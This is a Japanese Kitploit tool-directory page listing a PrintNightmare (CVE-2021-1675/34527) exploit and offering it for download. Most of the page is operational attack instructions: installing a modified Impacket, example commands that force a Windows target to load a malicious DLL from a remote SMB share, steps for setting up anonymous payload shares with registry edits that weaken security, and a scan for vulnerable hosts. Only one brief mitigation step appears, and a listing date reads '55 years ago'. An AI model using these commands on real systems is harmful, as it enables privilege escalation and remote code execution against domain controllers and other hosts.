Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
PrintNightmare-CVE-2021-1675-CVE-2021-34527 — CVE-2021-1675 / CVE-2021-34527 - PrintNightmare Python、C#、PowerShell のエクスプロイト実装 (LPE & RCE) | Kitploit
ツール/GitHubGitHub/galoget/printnightmare-cve-2021-1675-cve-2021-34527
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイト横移動ペネトレーションテストリモートアクセスツールペイロード開発

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
galoget/printnightmare-cve-2021-1675-cve-2021-34527

PrintNightmare-CVE-2021-1675-CVE-2021-34527

CVE-2021-1675 / CVE-2021-34527 - PrintNightmare Python、C#、PowerShell のエクスプロイト実装 (LPE & RCE)

リポジトリを見る
55年前未レビュー

CVE-2021-1675 / CVE-2021-34527

PrintNightmare PoC の Impacket 実装。原作者は Zhiniang Peng (@edwardzpeng) と Xuefeng Li (@lxf02942370) です。

完全にパッチ適用済みの 2019 年ドメインコントローラでテスト済み。

悪意のある DLL をリモートまたはローカルで実行します。

パッチの更新

マイクロソフトはこれらの攻撃を緩和するためのパッチをリリースしましたが、以下の値がマシンに存在する場合、そのマシンは依然として脆弱です。

root@kitploit:~
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

インストール

エクスプロイトを実行する前に、私のバージョンの Impacket をインストールする必要があります。その後は準備完了です。

root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

CVE-2021-1675.py

root@kitploit:~
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SMB 設定

ペイロードをホストする最も簡単な方法は、samba を使用して /etc/samba/smb.conf を変更し、匿名アクセスを許可することです。

root@kitploit:~
[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

Windows からも可能です。

root@kitploit:~
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

スキャン

Impacket の rpcdump.py を使用して、潜在的に脆弱なホストをスキャンできます。値が返ってきた場合、脆弱である可能性があります。

root@kitploit:~
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol

緩和策

スプーラーサービスを無効にします。

root@kitploit:~
Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f
ツールをダウンロード